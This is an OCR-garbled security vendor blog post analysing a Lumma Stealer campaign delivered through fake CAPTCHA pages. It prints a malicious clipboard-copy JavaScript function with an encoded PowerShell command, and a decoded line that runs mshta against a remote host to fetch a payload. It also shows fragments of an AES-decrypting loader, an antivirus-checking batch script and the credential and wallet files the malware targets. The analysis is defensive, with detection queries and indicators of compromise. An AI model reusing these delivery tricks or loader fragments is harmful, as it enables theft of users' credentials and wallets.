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Summary

Lumma Stealer is an information-stealing malware available through a Malware-as-a-Service (MaaS). It specializes in
stealing sensitive data such as passwords, browser information, and cryptocurrency wallet details. The attacker has advanced
its tactics, moving from traditional phishing to fake CAPTCHA verification, exploiting legitimate software to deliver

Lumma Stealer. These deceptive delivery methods make Lumma Stealer a persistent threat.
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Fig 1: Lumma Stealer Execution Chain

Threat actors frequently create phishing sites hosted on various providers, often leveraging Content Delivery Networks
(CDNs). These sites either utilize exploits or trick users into achieving payload execution. The Qualys Threat Research Unit
(TRU) has been monitoring an active Lumma Stealer campaign. Recently, we came across the use of fake CAPTCHA pages
to trick users into executing the payload. It uses muti-stage fileless techniques to deliver its final payload, which makes this

threat deceptive and persistent.

We investigated the entire attack chain, from initial infection to data exfiltration. We assessed the Qualys EDR tool to
showcase how it can effectively protect against such threats. We also provided some key threat detection and hunting queries

that analysts can incorporate and add to their playbooks, which effectively protect against such threats in real time.
Campaign Analysis

¢ We speculate that users are redirected to these fake CAPTCHA sites by bad actors exploiting legit software or public-
facing applications. When the user clicks the ‘I’m not a robot’ button, verification steps are presented. Completing
these steps triggers the execution of a PowerShell command that initiates the download of an initial stager (malware

downloader) on the target machine.
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Figure 2: Captcha Click and Verification

The webpage code reveals an embedded payload, where a function called ‘verify’ contains a Base64-encoded PowerShell

script that is copied to the clipboard when the verification button is pressed.

Y <script> == $8
Function verify() {
const textToCopy = “powershell.exe -eC
bQBEzAGgAdABhACAAaAB@AHQACABzADOALwAVAHYAZQBY AGKAZ gAuAGQABAB2ZAGKAZABLAGBACWBmAHTAZQAUAGMABABPAGMAawAvADTAbgBkAGEgACWBVAHTAdQA=";
const tempTextArea = document.createElement("textarea™);
tempTextArea.value = textToCopy;
document.body.appendChild(tempTextArea);
tempTextArea.select();
document.execCommand (" copy”);
document . body . removeChild(tempTextirea);

Figure 3: Clicked Response Script

System.Text.Encoding]: :UTF8.GetString([System.Convert]: :FromBasesustring(

Figure 4: Decoded Content

o Mshta.exe is a trusted Windows tool for running HTML applications and embedded scripts. When a URL is passed to
mshta, it downloads a remote payload and places it in the INetCache directory. The downloaded file ‘2ndhsoru’ is a
crafted PE file of the Windows tool “Dialer.exe” with script in its overlay section. We dumped the overlay section
and extracted the script, which is an obfuscated JavaScript code (fig:7). The payload is using an interesting technique
called- polyglot, where valid HTA content is embedded inside other files that are directly executable by mshta. The

script’s trigger point is an eval function to execute the JavaScript code. (Figure 8).

e thread torage (n/z property value
; B H— footprint » shad3s 40134CTIBFAS1 A289BCE62D301287999885F3750DBFEC2200AI95ADS5A2A3..
24 resources (count >
entropy 5.923
;; :m:gs((;uunl)jf):li) PR .-
ebug (streams -
&l manifest (level > ssinvoker) == 16504 (e
version (FileDescription > Microsoft Windows Phone Dialer) signature unknown
first-bytes-hex 3C 4254 41 3A 41 50 50 4C 49 43 41 54 49 4F 4E 2043 41 50 54 49 4F 4E203D ..,
first-bytes-text <HTA:APPLICATION CAPTION = "no"
file-ratio 83.70%

0 61 o2 99 OA OB OC 6D OF OF Decoded Text Data Inspector

Figure 6: Start of Script in Overlay Section
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Figure 8: Mshta Executes the JS Script

¢ The obfuscated JS script reveals a PowerShell script. This PowerShell script contains an AES-encrypted payload and
a routine to decrypt it in CBC mode using a hardcoded decryption key. The script also employs simple arithmetic
obfuscation techniques. We have normalized variables and functions in the PS script, revealing how the script
downloads and executes the payload (Figure 10).

powershell.exe - w 1 - ep Unrestricted - nop
FALRGP ($pwdFlpyc) {

return -split($pwdFlpyc - replace '..',
b
$sXJdkou = FALRGP('1ED9 7CeBC58EQ1C97ED1B21 3 5F1013B6 11C84AF@B2FO1564A4E77
$VcUsD [ = ! r gra Aes]::Create();
5VcUSD.Key = fALRGP(' A7671694556416B DSl');l
$VcUSD.IV = New - Object byte[] 16;
$vbsLKGQp = $VcUSD.CreateDecryptor();
$ORtZmADd $vbsLKGQp.TransformFinalBlock($sXJdkou, @, $sXJdkou.Length);
$mMNZUGXTr [System.Text.E ing]: :Utf8.GetString($ORtZmADdz);
$vbsLKGQp.Dispose(); & $mnZuGXTrT.Substring(@, 3) $mnZuGXTrT.Substring(3)

Figure 9: Encrypted PS Script

Figure 10: Decrypted and Normalized PS Script

¢ The final PS script downloads ‘K1.zip’ and ‘K2.zip’ into a temporary directory, extracts the contents, and executes
“Victirfree.exe” (Lumma Stealer), as shown in Figure 10 above. Below are the contents from DLLs (K1.zip) and
“VectirFree.exe” (K2.zip).

c [J > admin > AppData > Local > Temp > KI > VectirFree

K2 x +
Naime Ty C [J > admin > AppData > Local > Temp > K2
%) WMSPDMOD.DLL
[©] 4 = View Py
[3] WMSPDMOE.DLL &) New M Sort = View
WmsStatusTab Resources.dll & i e Siz
B . Name Date medified Type Size
%) WMVCORE.DLL ) Gallery 5! VectirFree 2411:26 PM Application
[3] WMVDECOD.DLL
> b OneDrive

%] WMVENCOD.DLL

Figure 11: Dropped Archive files K1 and K2
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o VectirFree.exe employed process hollowing, a common malware tactic used by malware to evade detection. It

targeted a legitimate program, “BitLockerToGo.exe,” to inject its malicious payload.

="Process injection using process hollowing"
= API Details

VectirFree.exe called AP| CreateProcessW:7FF6BC4F5629 (,"C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe",,,FALSE 4,,,,) ret: TRUE
VectirFree.exe called API VirtualAllocEx:7FF6BC4F5629 (0000000000000190,,368640,3000,40) ret:0000000000350000, ,,,,

VectirFree.exe called AP| WriteProcessMemory:7FF6BC4F5629
(0000000000000190,0000000000350000,"4d5a7800010000000400000000000000000000000000000040000000000000000000000000000000000000000(

VectirFree.exe called API SetThreadContext:7FF6BC4F5629 ()

VectirFree.exe called AP| ResumeThread:7FF6BC4F5629 ()
4 G »

Figure 12: Process Hollowing API Calls
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Figure 13: Vectirfree.exe doing Process Hollowing

¢ Additionally, the BitLockerToGo drops files in the temp directory.
72RC2SM21DDZ20AH3P30V1XPT5AE7YN.exe copies “Killing.bat” and “Voyuer.pif” into the same directory.
The bat script was obfuscated, which checks for antivirus processes such as wrsa.exe (Webroot Antivirus
Component), opssvc.exe (Quick Heal Antivirus Component), and bdservicehost.exe (Bitdefender), among others,

using tasklist and findstr.
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t Voyuer.pif=Voyuer.pif
fIjopgEBEWxdeWjBWektMSMeb=. a3x
/a Rainbow=18518
| g if z -n 196 127.6.0.1
| hos sophoshealth" & if not =t Voyuer.pif=AutoIt3.exe|
/c Rainbow
/b Rainbow\Voyuer.pif + Diseases Rainbow\Voyuer.pif
d Rainbow
cle /b ..\Cherry + ..\Delegation + ..\Uniprotkb + ..\Explains + ..\Www + ..\Victor c.a3x
/dy /t 5
A THROOMSOF TENPAYCOMMERC " Socket > Rainbow\Voyuer.pif
/1 Voyuer.pif c.azxi

Figure 15: De-obfuscated code of Killing.bat

Page 4 of 10


https://ik.imagekit.io/qualys/wp-content/uploads/2024/10/image12.png
https://ik.imagekit.io/qualys/wp-content/uploads/2024/10/image12.png
https://ik.imagekit.io/qualys/wp-content/uploads/2024/10/image13.png
https://ik.imagekit.io/qualys/wp-content/uploads/2024/10/image13.png

https://blog.qualys.com /vulnerabilities-threat-research/2024 /10/20 /unmasking-lumma-stealer-analyzing-deceptive-tactics-with-fake-captcha

B
BitLockerToGo exe (2832) |BitLocker To Go . LockerDiscoveryVolumeContents\BitLocker ToGo exe
=1 f 72RC25M21DDZ20AH I "C:\Users\admin‘App DataLocal\ Temp" 72RC25M21DDZ20AH3P 30VIXPTSAET YN axs”
) g cmd exe (8620} Windows Comma... I "CAWindows'System32'cmd.exe” /c move Killing Killing.bat & Killing bat
&% Conhost exe (840 Console Window I WIHCWWindows system32'conhost.exe DT -Force'VV1
& tasklist.exe (3764 Lists the current ru.. | tasklist
# findstr.exe (1280)|Find String (QGRE.. | findstr fl."wrsa opssve”
# tasklist.exe (8896 Lists the curent ru | tasklist
# findstr exe (6452)|Find String (QGRE.. | findstr /1 "avastui avgui bdservicehost nswscsve sophoshealth”
Egcmd exe (2176) |Windows Comma... ‘ emd fcmd 10518
% findstr exe (8564)|Find Sting (QGRE. ‘ findstr /\ "BATHROOMSOFTENPAYCOMMERCIAL" Socket
& cmd exe (6480) |Windows Comma... ‘ emd /c copy /b .\Chemy = \Delegation + ..\Uniprotkb + . \Explains + . \Www + \Victorc
6 Voyuerpif (8872) [Autolt v3 Script -.Voyuer.pif c
4 choice.exe (4972|Offers the usera c.. I choice /dv A5

Figure 16: Injected Process Tree

¢ Malware initiates a search for sensitive files and data related to cryptocurrency and password txt files across various
directories on the compromised system. It specifically looks for files having keywords that suggest they may hold
confidential information, such as *seed*.txt, *pass*.txt, *.kbdx, *ledger*.txt, *trezor*.txt, *metamask*.txt,

bitcoin*.txt, *word*, *wallet*.txt

BitLockerToGo.... 11736 [ QuenyDirectory  C:\Users\admin'\Videos\Captures\seed"” bt MO SUCH FILE
b BitLockerToGo.... 11736 [5)QueryDirectory  C:\Users\admin\"pass” bt NO SUCH FILE
% BitLockerToGo.... 11736 [;)QuenyDirectory  C:\Users\admin'.dotnet'"pass” t«t NO SUCH FILE
4 BitLockerToGo.... 11736 [ QuenyDirectory  C:\Users\admin'..dotnet\ Telemetry Storage Service' "‘pass” txt NO SUCH FILE
4 BitLockerToGo . 11736 [F5)QuenyDirectory  C:\Users\admin'. dotnet'tools'"pass” bt NO SUCH FILE
BitLockerToGo.... 11736 [ )QuenyDirectory  C:\Users\admin®. dotnet'tocls" store’'pass” txt MO SUCH FILE
4 BitLockerToGo ... 11736 [5)QueryDirectory  C:\Users‘admin'. envi®."pass” bt NO SUCH FILE
BitLockerToGo.... 11736 [)QueryDirectory  C:\Users\admin'.envi‘eymeache ' pass” bt NO SUCH FILE

Figure 17: Collecting Passwords and Wallets

g ot s s L v e % o o S e T v s e v

BitLockerToGo.... 11736 [77)ReadFile C:\Users“admin“AppData'Local \Google \Chrome\User Data'\Default\History SUCCESS
%aBitLockerToGo.... 11736 (F)ReadFie C:\Usershadmin“AppData'Local WGoogle\Chrome\User Data'\Default\Login Data SUCCESS
%BitLockerToGo.... 11736 [7)ReadFile C:\Usershadmin'AppData'Local WGoogle\Chrome.User Data'\Default\Login Data For Account SUCCESS
4gBitLockerToGo.... 11736 [)ReadFie C:Usershadmin'App Data'Local \Google\Chrome' User Data'\Default\Web Data SUCCESS
Yo BitLockerToGo.... 11736 [5)ReadFie C:\Usershadmin®App DataLocal \Google\Chrome ' User Data‘\Default\Network \Cookies SUCCESS

BitLockerToGo.... 11736 [#)ReadFile C:\Users“admin“AppData'Local \Microsoft Edge\User Data\Last Version SUCCESS
%BitLockerToGo. . 11736 [f)ReadFile C:\Usershadmin'AppData'Local \Microsoft Edge\User Data\Last Version SUCCESS
%BitLockerToGo.... 11736 [7)ReadFile C:\Usershadmin®AppData'Local\Microsoft\ Edge\User Data\Local State SUCCESS
4gBitLockerToGo.... 11736 [;)ReadFie C:\Usershadmin®App Data'Local \Microsoft \Edge\User Data*Default\History SUCCESS
Y BitLockerToGo.... 11736 [)ReadFile C:iUsershadmin®App DataLocal \Microsoft\Edge\User Data\Default\History SUCCESS
% BitLockerToGo.... 11736 (7)ReadFie C:\Users“admin“AppData'Local \Microsoft Edge\User Data“\DefaultLogin Data SUCCESS
%Bit LockerToGo. . 11736 [ )ReadFile C:\Usershadmin'AppData'Local \Microsoft Edge\User Data“\Default\Web Data SUCCESS
%BitLockerToGo.... 11736 [7)ReadFile C:\Usershadmin®AppData'Local \Microsoft Edge\User Data'\Default\Network '\ Cookies SUCCESS
YaBitLockerToGo.... 11736 [5)ReadFie C:\Usershadmin'App Data"Roaming Mozilla'Firefox\Profiles ilo8ul 71 default-releasekey4.db SUCCESS

BitLockerToGo.... 11736 [F)ReadFile C:\Users“admin“AppData"Roaming\Mozilla\Firsfox " Profiles ilo Bul 71 default-release key4.db SUCCESS

Figure 18: Collecting Browser Logs and Credentials Data

¢ Lumma Stealer communicates with command and control (C2) servers to exfiltrate stolen data after infecting a
system. It tries to connect to C2 server domains with the “.shop” top-level domain (TLD). Currently, these C2 servers
are unreachable. As noted earlier, threat actors employ Content Delivery Networks (CDNs) for payload delivery and
C2 servers for data exfiltration. In this case, we found the use of Cloudflare CDN, which is included in the Indicators

of Compromise (IoC).

10.113.167.71 5.5.8.8 DNS 80 Standard query @xe213 A futureddospzmvg.shap
16.113.107.71 DNS 137 Standard query response @xe213 No such name A futureddospzmvq.shop SOA a.gmoregistry.net
16.113.167.25 DNS 78 Standard query @xflll A celebratioopz.shop
16.113.187.71 DNS 137 Standard query response Bxe213 No such name A futureddospzmvq.shop SOA a.gmoregistry.net

estination unr able b
Standard query @xflll A celebratioopz.shop

16.113.107.71 DNS 135 Standard query response @xflll No such name A celebratioopz.shop 50A a.gmoregistry.net
16.113.107.25 DNS 76 Standard query @x7ffa A writerospzm.shop

10.113.167.71 DNS 135 Standard query response @xflll No such name A celebratioopz.shop SOA a.gmoregistry.net
8 53 Destination unr b

8.8.8.8 Standard query @x7ffa A writerospzm.shop

18.113.187.71 DNS 133 Standard query response Bx7ffa No such name A writerospzm.shop SOA a.gmoregistry.net
10.113.167.25 DNS 79 standard query @x7f96 A deallerospfosu.shop
8.8.8.8 DNS 79 Standard query @x7f96 A deallerospfosu.shop
16.113.107.71 DNS 136 Standard query response @x7f96 No such name A deallerospfosu.shop SOA a.gmoregistry.net
108.113.187.25 DNS 78 Standard query @x17eb A hasiiz(ellskz.ihap
5.8.8.8 10.113.167.71 DNS 133 Standard query response @x7ffa No such name A writerospzm.shop SOA a.gmoregistry.net
10.113.107.71 8.8.8.8 DNS 78 Standard query @x17eb A bassizcellskz.shop
8.8.8.8 16.113.107.71 DNS 135 Standard query response @x17eb No such name A bassizcellskz.shop 50A a.gmoregistry.net

Figure 19: C2 Communication
How Qualys EDR Protects

Preventing the Threat

The moment PowerShell tries to execute the malicious command on an endpoint, Qualys EDR identifies and prevents the
fileless malware attack during the pre-execution stage by terminating the PowerShell instance. This breaks the chain of
attack at the initial stage and prevents the downloading of any further malicious payload. Early prevention is crucial in

protecting against sensitive data leakage and exfiltration.
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VIEW MODE
Process Tree

Summary
Related Events éﬁ} PowerShell.exe

Severity Score: [ 5]

- Threat details
hreatName  HeurBZC.ZFVNioc.1.0A2ACBFO

Antimalware  Heur BZC.ZFVNioc.1.0A2ACBFO

CAWindows\system32\WindowsPowerShell\v1.0\Pow
ershellexe” G
DQBZAGGAJABRACAASABOAHQACABZADOALWAVAHY
AZQBYAGKAZGAUAGQABAB2AGKAZABIAGEACWBMAHI
AZQAUAGMADABPAGMASWAYADIABGBKAGGACWEBVAH
1Ad0A=

Fam Heur BZC.ZFVNioc.1.0A2ACBFD
EPPSuspicious ProcessBehavior

Figure 20: Terminated Suspicious PowerShell Instance
Detection and Hunting

Lumma Stealer was executed and analyzed in the Qualys Research environment, where the EDR system was set to detect

only.

¢ The ‘AMST’ feature in Qualys EDR allows us to view the de-obfuscated code of executed obfuscated scripts. Let’s
search for the encoded payload executed by PowerShell. We can see that the argument contains a Base64-encoded

payload, and the “Script Content” reveals the corresponding de-obfuscated details.

€— Event Details:powershell.exe

VIEW MODE
Event Details
éé} powershell.exe

Severity Score: [1

Related Events
Threat details
Image

Threat Name At malvware

Certiicate

1 AMSI Script

Modules

Process Name Process Argument
3 Scriptis loaded by powershell.exe Powershell exe C:\Windows\system32\Window

View more sPowershell\v1.0\Powershell.ex
e eC
bQBZAGGAJABhACAAABOAHQ
ACABZADOALWAVAHYAZQBYAG
KAZGAUAGQADAB2AGKAZABIAG
8ACWBMAHIAZQAUAGMADABD
AGMAaWAVADIAbGBKAGGACWB
VAHIAJQA=

Powershell_C:\Windows\system
32\WindowsPowerShell\v1.0\Po
werShell.exe_10.0.22621.1

bow decoded
[[mshta https:/verit divideosfre. click/2ndhsoru

Figure 21: Decoded Content from EDR

¢ Since we know process mshta, which is responsible for communicating to C2 server for further payload delivery. We

can filter the events and can see the downloaded file.

4 days ago 2 File C: H Anti-m... E Trojan.Ge... File Found

06:04 PM = VIRUS

Figure 22: Dropped Malici

e Since we know process mshta, which is responsible for communicating to C2 server for further payload delivery. We

can filter the events and can see the downloaded file.
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€— Event Details:mshta.exe ( Previous ) ( Next >

VIEW MODE Process
Process Tree s
Summary State RUNNING
Related Events &y mshtaexe Name powershell exe
L) ° Severity Score: 3 Ful Path C:\Windows\System32\WindowsPowerShell\v1.0\power
Certificate shellexe
o vgument 1 -ep Unrestricted nop function {ALRGP(SpwdFipyc)
+

etum -spit

(+) powershell.exe s

@ 1042177155:4

© mshteexe e

Figure 23: Dropped Malicious File

« If we explore that event in the process tree, mshta.exe executes the PS script payload after downloading from the C2.

B File C:\Users\admin\AppData\Local\Temp\VectirFree.exe is created by powershell.exe " G R Generic ( uaraminerie | ~)
S Trojan
5 o r— wram——ss ¢ GEES  ox B (e |
Lummaste... ( quarantine File

Spyware

Figure 24: Dropped Archive Detected as Lumma
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Related Events powershell.exe

Image Severity Score:

Certificate
Loaded Modules

+ s
AMSI Log G

K2.zip
Process Tree

VectirFree.exe

WmsStatusTab.R..

WMSPDMOE.DLL

WMSPDMOD.DLL

Kl.zip

O 0 0 0 © O

Figure 25: Process Tree of Dropped Files

« By filtering the event with “parent.name:Voyuer.pif*, we see that Voyuer.pif (Autoit.exe) drops “QuantumLink.scr”
and “a” (copy of c.a3x).

parent.nane: Voyusr .pif

X @ Today Ny
o GoupBy . v | [ Fiters v 1-50f 5 & G

o ™ st oA wEmeR WS o
o B P p— G i - Process Frming
2z o7z = &
e B Proces Vopi. r G _ o
223 PID7272 - No Action Required
P 1s excuted by Voyuerpit T _ T
2z ey : [ i

2 " k.scr is cr. L - EDR = (Cauararme e D

® creted by Vopuer T

Figure 26: Operation Performed by Voyuer.pif

¢ Here are the Qualys Hunting queries that will allow you to investigate the threat.
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Description Query
PowerShell executes embedded process.name:”powershell.exe” and process.arguments: [“-e”, “-ec”,
code “-enc”, “-enco”, “encodedCommand”]

PE File created by process . .
(mshta) process.parentname: mshta.exe and action: created and file.type: PE
mshta

File created by PowerShell, and parent.name:”powershell.exe” and type: file and event.scoresource:
it is detected by EPP “Anti-malware”
Obfuscation technique

mitre.attack.technique.id: T1027 and process.name:powershell.exe
performed by PowerShell

Conclusion

The investigation into Lumma Stealer reveals an evolving threat landscape characterized by the malware’s ability to adapt
and evade detection. It employs a variety of tactics, from leveraging legitimate software to utilizing deceptive delivery
methods, making it a persistent challenge for security teams. Our analysis of its infection chain highlighted how the fileless
malware exploits common tools like PowerShell and mshta.exe, as well as the critical role of embedded payloads and

process injection in its operations.

Qualys EDR demonstrates value in detecting and responding to such threats. As you can see, early prevention (Figure 27)

can stop this attack chain and its potential impact on an organization.

€— Incident Details:ProcHack = CD
g Process Tree o
j‘ tw‘ @ Fmé”ﬁj;?STD’E&ZIWE’EDE‘EC‘S
Rk + ®
o -
-—— - —Q =
0w = /
(0] ©
Figure 27: Threat Chain from EDR
MITRE ATT&CK Techniques
Operation Techniques
Fake captcha verification T1566: Phishing

T1204: User Execution
Executed the initial PS code T1059.001: Command and Scripting

Interpreter: PowerShell

T1218.005: System Binary Proxy Execution: Mshta
T1027.009: Obfuscated Files or Information: Embedded
Payloads

Download the payload using mshta, which

had overlayed script

T1059.001: Command and Scripting
Executed the encrypted payload using Interpreter: PowerShell
powershell.exe T1027.013: Obfuscated Files or

Information: Encrypted/Encoded File
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10Cs

Operation

PowerShell downloaded Lumma Stealer

and executed

Lumma Injected malicious payload in
BitLockerToGo

Information collection

Injected process executed killing.bat script

Batch script discover the process and start

autoit
Autoit executes the script

Exfiltration

Domain

Files

C2 Domain
futureddospzmvq[.Jshop
writerospzm|.]shop
mennyudosirso[.]shop
deallerospfosu[.]Jshop
quialitsuzoxm][.]shop
complaintsipzzx[.]shop
bassizcellskz[.]shop
languagedscie[.]shop

celebratioopz[.]shop

File Name

2ndhsoru

K1.zip

K2.zip

WMSPDMOD.DLL
WMSPDMOE.DLL
WmsStatusTab.Resources.dll
WMVCORE.DLL

WMVDECOD.DLL

Techniques

T1059.001: Command and Scripting

Interpreter: PowerShell

T1055.012: Process Injection: Process Hollowing

T1217: Browser Information Discovery T1083: File and

Directory Discovery

T1059.003: Command and Scripting Interpreter: Windows

Command Shell

T1057: Process Discovery

T1059.010: Command and Scripting Interpreter: AutolT

T1041: Exfiltration Over C2 Channel

Type
PE32
Zip

Zip

DLL
DLL
DLL
DLL

DLL
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Hash (SHA256)

7d6ee310f1cd4512d140c94a95f0db4e76a7171c6a65f5c483e7f8a0¢
ca5c90bb87d4cb3e008cf85c2af5ef8b198546586b6b3c50cd00d3e0.
7tbbbfb9a886e43756b705317d3dff3bc0b1698007512d4c42d9dfI9c!
44fe887d10886aa8bbe8232fee270c21992aba9db959f58ebaea348at
2e56b42cf272f55cb3c8ed67245babb70b995d5b86863017fc846a68
92f31b07a70b98bd4f9e24e94acf10f7ac83cb2b642ca41c8bde147cS
04beac6c1d6023442f94eebedcdcec11bc47e0a89ec38ba2eb0584d7-

1cb6b6b1f0889771b740a22f119688e427be00de41e5a9440b2a859«


https://attack.mitre.org/techniques/T1059/001/
https://attack.mitre.org/techniques/T1059/001/
https://attack.mitre.org/techniques/T1055/012/
https://attack.mitre.org/techniques/T1217/
https://attack.mitre.org/techniques/T1083/
https://attack.mitre.org/techniques/T1083/
https://attack.mitre.org/techniques/T1059/003/
https://attack.mitre.org/techniques/T1059/003/
https://attack.mitre.org/techniques/T1057/
https://attack.mitre.org/techniques/T1059/010/
https://attack.mitre.org/techniques/T1041/
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File Name Type
WMVENCOD.DLL DLL
VectirFree.exe PE64
Injected Payload PE32

72RC2SM21DDZ20AH3P30V1XPT5AE7YN.exe  PE64

Hash (SHA256)

3f4d33bc3402326c72db9ff484cccb929df458ca44b389celc505a3f2
7514d84ca507562a346896ff48a57d1d475f3cfed16e5e6abefd33a97
867a63971c9e09e9f941d839d7ed328a4cdfea2fe985488e7d96bcOb:

08f30ece5f7e77a69e58a970b3684c2alebalaa203ac97836dad32fcl

Voyuer.pif (Autolt.exe) PE32  d8b7c7178fbadbf169294e4f29dce582f89a5cf372e9da9215aa08233
Killing.bat (Obfuscated) BAT  432a473f21a57610df93773a79ae94365d6c2b6aal555123bfdd658a
IP
1P Usage Type
172.67.209.145 Cloudflare CDN
104.21.77.155 Cloudflare CDN
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